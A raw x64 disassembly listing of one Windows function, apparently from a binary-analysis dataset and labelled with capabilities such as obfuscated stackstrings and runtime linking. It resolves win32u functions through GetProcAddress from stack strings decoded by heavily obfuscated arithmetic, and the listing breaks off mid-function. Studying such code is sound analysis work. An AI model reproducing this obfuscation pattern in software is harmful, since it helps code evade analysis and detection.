Function at 0x1400620a0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3b8]
sub rsp, 0x4b8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rax
lea rcx, [rbp + 0x3f8]
movabs rdx, 0xff00ff00ff00ff00
mov qword [rbp - 0x18], rdx
mov qword [rbp - 0x10], rcx
mov rax, qword [rcx]
xor rax, rdx
mov qword [rbp + 0x400], rax
mov qword [rbp - 0x20], rax
mov qword [rcx], 0
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r12, rax
mov qword [rbp + 0x408], rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
mov qword [rbp + 0x410], rax
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
mov qword [rbp + 0x418], rax
lea rcx, [0x140149e28]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
mov qword [rsp + 0x28], rax
test rsi, rsi
je 0x1400756c8
test r12, r12
je 0x1400756c8
test rax, rax
je 0x1400756c8
test rbx, rbx
je 0x1400756c8
mov byte [rbp], 0x78
mov byte [rbp + 1], 0x2d
mov byte [rbp + 2], reloc.WS2_32.dll_ntohs
mov byte [rbp + 3], 0x2e
mov byte [rbp + 4], 0x1d
mov byte [rbp + 5], 0x2f
mov byte [rbp + 6], 0x77
mov byte [rbp + 7], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 8], reloc.WS2_32.dll_sendto
mov byte [rbp + 9], 6
mov byte [rbp + 0xa], 5
mov byte [rbp + 0xb], gethostname
mov byte [rbp + 0xc], WSAGetLastError
mov byte [rbp + 0xd], 0x34
mov byte [rbp + 0xe], 0x33
mov byte [rbp + 0xf], 0x32
mov byte [rbp + 0x10], 1
mov byte [rbp + 0x11], 0x62
mov byte [rbp + 0x12], 6
mov byte [rbp + 0x13], 0x3b
mov byte [rbp + 0x14], 0x3d
mov byte [rbp + 0x15], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x16], 0xac
xor eax, eax
mov qword [rbp + 0x17], rax
mov byte [rbp + 0x1f], al
movabs rsi, 0xad5b6ab15ca717ff
movabs r15, 0x8158c1df64288fd3
movabs r13, 0x3fc564c6a324dc8d
movzx edi, byte [rbp + 0x400]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x20
jae 0x140062d9b
movzx r10d, byte [rbp + r11]
movzx r9d, r10b
nop dword [rax]
cmp rbx, r11
ja 0x140062d92
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140062265
movabs rcx, 0xc934fd0aa33ee247
add rcx, r11
mov rax, r10
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r10
add rdi, rcx
add dil, 0xf
jmp 0x14006229f
je 0x140062d1c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140062c94
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140062c62
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140062c41
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140062bf0
movzx r9d, r10b
cmp r8, r11
ja 0x140062d89
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x1400622d1
lea rdx, [r11 + r15]
movzx eax, dl
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x3b
add dil, dl
jmp 0x140062310
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140062bd5
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140062bb4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140062b99
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140062b7e
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140062939
nop dword [rax]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140062917
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400628ea
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400628c0
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006289c
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140062878
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140062850
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140062828
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140062800
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400627cb
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140062320
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140062d6c
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140062d4f
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14006251b
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400624fc
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x1400624dd
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140062773
lea rcx, [r8 + 1]
cmp rbx, rcx
jb 0x140062724
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400626dd
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400626b2
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140062320
mov rbx, rcx
lea r8, [rcx + 4]
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x140062680
lea rax, [r8 + 0x64]
cmp rcx, rax
ja 0x14006265a
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x140062634
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x14006260e
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x1400625e8
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x1400625c2
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x140062599
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x14006256d
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x140062543
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x140062320
lea rbx, [r8 + 9]
lea r8, [rbx + 0x1000]
jmp 0x140062320
lea rdx, [r11 + r13]
movzx eax, dl
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x25
add dil, dl
jmp 0x140062310
lea rdx, [r11 + rsi]
movzx eax, dl
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
add dil, 7
add dil, dl
jmp 0x1400622a3
movabs rdx, 0x1af1709c16295371
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x17
add dil, dl
jmp 0x140062230
movabs rcx, 0xac60efb21447e98
add rcx, r11
and r10b, cl
add r10b, r10b
movzx edi, r9b
sub dil, r10b
sub dil, 0x28
add dil, cl
movzx esi, r11b
jmp 0x140062c0d
movabs rax, 0x785c14e5dac6ba0a
add rax, r11
and r10b, al
add r10b, r10b
sub r9b, r10b
lea edi, [rax + r9]
sub dil, 0x46
inc r8
dec r11
inc r11
jmp 0x140062215
movabs rax, 0xe5f21ad09448f57c
add rax, r11
and r10b, al
add r10b, r10b
sub r9b, r10b
lea edi, [rax + r9]
sub dil, 0x64
dec r11
inc r11
jmp 0x140062215
movabs rcx, 0x538820bb4dcb30ee
add rcx, r11
and r10b, cl
mov eax, 0x3f
sub al, r10b
lea edi, [rax + rax]
add dil, r9b
add dil, cl
jmp 0x140062b3b
movabs rcx, 0xc11e26a6074d6c60
add rcx, r11
and r10b, cl
mov eax, 0x30
sub al, r10b
lea edi, [rax + rax]
add dil, r9b
add dil, cl
jmp 0x140062c78
movabs rcx, 0x2eb42c90c0cfa7d2
add rcx, r11
and r10b, cl
mov eax, 0x21
sub al, r10b
lea edi, [rax + rax]
add dil, r9b
add dil, cl
jmp 0x140062c7b
movabs rcx, 0x9c4a327b7a51e344
add rcx, r11
and r10b, cl
mov eax, reloc.WS2_32.dll_select
sub al, r10b
lea edi, [rax + rax]
add dil, r9b
add dil, cl
jmp 0x140062cb3
movabs rcx, 0x9e0386633d41eb6
add rcx, r11
and r10b, cl
mov eax, 3
sub al, r10b
lea edi, [rax + rax]
add dil, r9b
add dil, cl
jmp 0x140062cdb
movabs rax, 0x77763e50ed565a28
add rax, r11
and r10b, al
add r10b, r10b
sub r9b, r10b
lea edi, [rax + r9]
sub dil, 0x18
movzx eax, byte [rbp + r11]
add rax, r8
add r11, rax
inc r11
jmp 0x140062215
movabs rax, 0x896d4d1bbd1beec5
add rax, r11
and r10b, al
add r10b, r10b
sub r9b, r10b
lea edi, [rax + r9]
sub dil, 0x63
mov byte [rbp + r11], dil
inc r11
jmp 0x140062215
movabs rcx, 0xf7035306769e2a37
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x7f
cmp r8, 0x64
jb 0x1400626d0
movzx esi, r11b
lea ecx, [rsi + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0xc]
jmp 0x140062c09
movabs rcx, 0x649958f1302065a9
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x61
cmp rbx, 0x5a
jae 0x140062b1e
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x140062a6a
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
jmp 0x1400626fd
movabs rcx, 0xd22f5edbe9a2a11b
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x43
lea rax, [r8 + rbx]
cmp rax, 0x200
je 0x140062b5e
lea rax, [r8 + 4]
cmp rbx, rax
jbe 0x140062a1b
lea ecx, [r11 - 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6d
jmp 0x140062744
movabs rcx, 0x8148b3c58f35ef2
add rcx, r11
and r10b, cl
mov eax, 0x31
sub al, r10b
lea edi, [rax + rax]
add dil, r9b
add dil, cl
movzx eax, byte [rbp + r11]
add rax, r8
add r11, rax
inc r11
jmp 0x140062215
movabs rcx, 0x75aa912712759a64
add rcx, r11
movzx eax, cl
and al, r10b
mov edx, 0x22
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
jmp 0x140062cdb
movabs rcx, 0xe3409711cbf7d5d6
add rcx, r11
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_send
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
jmp 0x140062cb3
movabs rcx, 0x50d69cfc857a1148
add rcx, r11
movzx eax, cl
and al, r10b
mov edx, 4
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
jmp 0x140062c7b
movabs rcx, 0xbe6ca2e73efc4cba
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
jmp 0x140062c78
movabs rcx, 0x2c02a8d1f87e882c
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
jmp 0x140062b3b
movabs rcx, 0x9998aebcb200c39e
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x52
dec r11
inc r11
jmp 0x140062215
movabs rcx, 0x72eb4a76b82ff10
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
inc r8
dec r11
inc r11
jmp 0x140062215
movzx esi, r11b
lea edx, [rsi - 0x7e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140062c0d
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x14006295d
lea ecx, [r11 + 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xf
jmp 0x140062793
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140062994
lea edx, [r11 - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11]
add rax, r8
add r11, rax
inc r11
jmp 0x140062215
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400629b8
lea ecx, [r11 - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4e
jmp 0x140062cb3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400629e6
lea edx, [r11 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140062215
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140062793
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140062215
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140062a42
movzx esi, r11b
lea ecx, [rsi + 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4f
jmp 0x140062c09
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140062744
lea ecx, [r11 - 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x29
jmp 0x140062c78
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140062a9d
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
movzx eax, byte [rbp + r11]
add rax, r8
add r11, rax
inc r11
jmp 0x140062215
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140062ac5
lea edx, [r11 - 0xa]
movzx eax, dl
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140062c7b
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140062aed
lea edx, [r11 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140062c78
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400626fd
lea ecx, [r11 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
inc r8
dec r11
inc r11
jmp 0x140062215
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0xc
lea edi, [rcx + rcx]
add dil, dl
movzx r9d, r10b
lea ecx, [r11 + 0x1f]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
add r9b, 0x27
add r9b, cl
add r9b, dil
mov byte [rbp + r11], r9b
jmp 0x140062c78
lea edx, [r11 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
movzx r9d, r10b
jmp 0x140062cb3
lea ecx, [r11 - 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xd
jmp 0x140062cb3
lea ecx, [r11 + 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x11
jmp 0x140062c7b
lea ecx, [r11 + 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6b
dec r11
inc r11
jmp 0x140062215
movzx esi, r11b
lea ecx, [rsi + 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x59
jmp 0x140062c0d
movzx esi, r11b
lea ecx, [rsi + 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1d
movzx r9d, r10b
sub sil, 0x6f
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
add sil, 9
add r9b, sil
mov byte [rbp + r11], r9b
movabs rsi, 0xad5b6ab15ca717ff
inc r8
dec r11
inc r11
jmp 0x140062215
lea ecx, [r11 + 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1f
dec r11
inc r11
jmp 0x140062215
lea ecx, [r11 + 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140062215
movabs rcx, 0x8072eb4a76b82ff1
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x69
lea edx, [r11 - 0x53]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x45
add cl, dl
movzx eax, cl
mov byte [rbp + r11], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0xc]
movzx eax, r9b
and al, dl
mov ecx, 0x2a
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r11], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11]
add rax, r8
add r11, rax
inc r11
jmp 0x140062215
movabs rcx, 0x5b9ef71fe9bca6d5
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2d
movzx eax, byte [rbp + r11]
add rax, r8
add r11, rax
inc r11
jmp 0x140062215
sub r11b, 0x1d
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x35
jmp 0x140062212
add r11b, 0x55
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x53
jmp 0x140062202
lea rdx, [rbp + 0x14007b4]
jmp 0x140062d9f
lea rdx, [rbp + 0xfee9fb]
jmp 0x140062d9f
lea rdx, [rbp]
mov rcx, qword [rbp + 0x418]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], rax
mov byte [rbp + 0x20], 0xff
mov byte [rbp + 0x21], 0x9e
mov byte [rbp + 0x22], 0x8c
mov byte [rbp + 0x23], 0xfe
mov byte [rbp + 0x24], 0x8d
mov byte [rbp + 0x25], 0x8f
mov byte [rbp + 0x26], 0x89
mov byte [rbp + 0x27], 0x8e
mov byte [rbp + 0x28], 0x8c
mov byte [rbp + 0x29], 0xd1
mov byte [rbp + 0x2a], 0xb1
mov byte [rbp + 0x2b], 0xb6
mov byte [rbp + 0x2c], 2
xor eax, eax
mov dword [rbp + 0x2d], eax
mov word [rbp + 0x31], ax
mov byte [rbp + 0x33], al
movabs r15, 0x95708ad1e1549cd7
movabs r13, 0xc051a075a3fdd685
movzx edi, byte [rbp + 0x400]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov rax, qword [rax]
xor esi, esi
cmp rsi, 0x14
jae 0x1400638d8
movzx r9d, byte [rbp + rsi + 0x20]
mov r8d, r9d
cmp rbx, rsi
ja 0x1400638cf
lea rcx, [rax + 1]
cmp rbx, rcx
jae 0x140062e61
lea rdx, [rsi + r15]
mov rcx, r8
and rcx, rdx
imul rdi, rcx, 0xfffffffffffffffe
add rdi, r8
add rdi, rdx
add dil, 0x1f
jmp 0x140062e9b
je 0x140063864
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x140063805
lea rcx, [rax + 5]
cmp rbx, rcx
je 0x1400637ab
lea rcx, [rax + 6]
cmp rbx, rcx
je 0x14006378a
lea rcx, [rax + 7]
cmp rbx, rcx
je 0x140063741
movzx r10d, sil
nop
cmp rax, rsi
ja 0x1400638c6
lea rcx, [rax + 0x10]
cmp rbx, rcx
jae 0x140062eca
lea edx, [r10 - 0x5d]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x75
jmp 0x140062f10
lea rcx, [rax + 1]
cmp rbx, rcx
je 0x140063727
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x14006370a
lea rcx, [rax + 5]
cmp rbx, rcx
je 0x1400636ed
lea rcx, [rax + 4]
cmp rbx, rcx
je 0x1400636a5
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x140063685
nop dword [rax + rax]
lea rcx, [rax + rbx]
cmp rcx, rsi
jbe 0x140063406
nop dword [rax]
lea rcx, [rax + 0x10]
cmp rbx, rcx
je 0x1400633e9
lea rcx, [rax + 0x1000]
cmp rbx, rcx
je 0x1400633c3
lea rcx, [rax + 5]
cmp rbx, rcx
je 0x1400633a0
lea rcx, [rax + 0x5a]
cmp rbx, rcx
je 0x140063383
lea rcx, [rax + 0xa]
cmp rbx, rcx
je 0x140063363
lea rcx, [rax + 0x400]
cmp rbx, rcx
je 0x140063346
lea rcx, [rax + 4]
cmp rbx, rcx
je 0x140063329
lea rcx, [rax + 0x42]
cmp rbx, rcx
je 0x140063309
lea rcx, [rax + 0x3e8]
cmp rbx, rcx
je 0x140062f20
lea rbx, [rax + 6]
lea rax, [rbx + 3]
lea rcx, [rax + 0x80]
cmp rbx, rcx
jb 0x1400638a9
lea rcx, [rax + 0x10]
cmp rbx, rcx
jb 0x14006388c
lea rcx, [rax + 0x1000]
cmp rbx, rcx
jb 0x1400630df
lea rcx, [rax + 5]
cmp rbx, rcx
jb 0x1400630c4
lea rcx, [rax + 0x64]
cmp rbx, rcx
jb 0x1400630a9
lea rcx, [rax + 0x2a]
cmp rbx, rcx
jb 0x14006327c
lea rcx, [rax + 4]
cmp rbx, rcx
jb 0x140063238
lea rcx, [rax + 0x42]
cmp rbx, rcx
jb 0x140063213
lea rcx, [rax + 0x5a]
cmp rbx, rcx
jb 0x140062f20
lea rbx, [rax + 0x28]
lea rax, [rbx + 0xa]
lea rcx, [rax + 6]
cmp rbx, rcx
ja 0x1400631e5
lea rcx, [rax + 0x80]
cmp rbx, rcx
ja 0x1400631c5
lea rcx, [rax + 1]
cmp rbx, rcx
ja 0x1400631a8
lea rcx, [rax + 0x20]
cmp rbx, rcx
ja 0x140063188
lea rcx, [rax + 0x61]
cmp rbx, rcx
ja 0x140063168
lea rcx, [rax + 0x2a]
cmp rbx, rcx
ja 0x140063145
lea rcx, [rax + 0x10]
cmp rbx, rcx
ja 0x14006311c
lea rcx, [rax + 0x1000]
cmp rbx, rcx
ja 0x1400630ff
lea rcx, [rax + 5]
cmp rbx, rcx
ja 0x140062f20
lea rbx, [rax + 2]
lea rax, [rbx + 0x64]
jmp 0x140062f20
lea edx, [r10 - 0x43]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x2b
jmp 0x140062f10
lea edx, [r10 + 0xf]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x69
jmp 0x140062ea0
add r10b, 0x61
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, 0x59
add dil, r10b
jmp 0x140062e35
lea r8d, [r10 + 0x18]
movzx ecx, r9b
and cl, r8b
mov edx, 0x2c
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
jmp 0x14006375d
add r10b, 0x6a
movzx ecx, r9b
and cl, r10b
mov edx, reloc.WS2_32.dll_listen
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r10b
inc rax
dec rsi
inc rsi
jmp 0x140062e22
sub r10b, 0x44
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0x24
dec rsi
inc rsi
jmp 0x140062e22
add r10b, 0x60
movzx ecx, r9b
and cl, r10b
mov edx, 0x30
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r10b
jmp 0x1400637e9
sub r10b, 0x4e
movzx ecx, r9b
and cl, r10b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r10b
jmp 0x1400637ec
lea r8d, [r10 + 4]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x1c
jmp 0x1400636bd
add r10b, 0x56
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x5a
add dil, r10b
jmp 0x140063823
sub r10b, 0x58
movzx ecx, r9b
and cl, r10b
mov edx, 0x34
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r10b
movzx ecx, byte [rbp + rsi + 0x20]
add rcx, rax
add rsi, rcx
inc rsi
jmp 0x140062e22
add r10b, 0x75
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0x33
mov byte [rbp + rsi + 0x20], dil
inc rsi
jmp 0x140062e22
lea r8d, [r10 - 0x39]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x71
add dil, r8b
cmp rax, 0x20
jb 0x14006322b
lea r8d, [r10 - 0x56]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edx, r9b
sub dl, cl
add dl, r8b
lea edi, [rdx*2 - 0x4c]
jmp 0x140063760
lea r8d, [r10 + 0x6b]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, 0x13
add dil, r8b
lea rcx, [rax + rbx]
cmp rcx, 0x5a
je 0x140063672
lea r11, [rax + 1]
lea rcx, [rax + 0x61]
cmp rbx, rcx
jbe 0x14006350a
lea r8d, [r10 + 0x3b]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
add r8b, 0x63
add dil, r8b
lea rdx, [rax + 2]
lea r8, [rax + 3]
cmp rbx, 5
jae 0x14006364f
cmp rbx, rdx
jbe 0x1400635a8
lea r8d, [r10 - 0x22]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x12
jmp 0x140063250
add r10b, 0x24
movzx ecx, r9b
and cl, r10b
mov edx, 2
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r10b
jmp 0x140063823
lea r8d, [r10 + 0x76]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x3a
jmp 0x1400636bd
sub r10b, 0x38
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0x78
jmp 0x1400637ec
add r10b, 0x1a
movzx ecx, r9b
and cl, r10b
mov edx, 0x25
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r10b
jmp 0x1400637e9
lea r8d, [r10 + 0x6c]
movzx ecx, r9b
and cl, r8b
mov edx, 6
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
jmp 0x1400637c7
sub r10b, 0x42
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0x32
dec rsi
inc rsi
jmp 0x140062e22
add r10b, 0x10
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0x70
inc rax
dec rsi
inc rsi
jmp 0x140062e22
lea r8d, [r10 + 0x62]
movzx ecx, r9b
and cl, r8b
mov edx, 0x29
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
jmp 0x14006375d
lea rdx, [rax + 3]
cmp rbx, rdx
jae 0x14006342c
lea r8d, [r10 - 0x29]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, 0x1f
jmp 0x140063294
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x140063463
add r10b, 0x46
movzx ecx, r9b
and cl, r10b
mov edx, listen
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r10b
movzx ecx, byte [rbp + rsi + 0x20]
add rcx, rax
add rsi, rcx
inc rsi
jmp 0x140062e22
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x140063489
lea r8d, [r10 - 0x5e]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
sub dil, 0x6e
jmp 0x1400636bd
cmp rbx, rdx
jne 0x1400634b1
add r10b, 0x5a
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0x76
dec rsi
inc rsi
jmp 0x140062e22
lea rcx, [rax + 5]
cmp rbx, rcx
jne 0x1400634e0
add r10b, 8
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0x38
inc rax
dec rsi
inc rsi
jmp 0x140062e22
lea rcx, [rax + 4]
cmp rbx, rcx
jne 0x140063297
lea r8d, [r10 - 0x4a]
movzx ecx, r9b
and cl, r8b
mov edx, 3
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
jmp 0x14006375d
cmp rbx, r11
jne 0x14006352c
lea r8d, [r10 - 0x17]
movzx ecx, r9b
and cl, r8b
add cl, cl
movzx edi, r9b
sub dil, cl
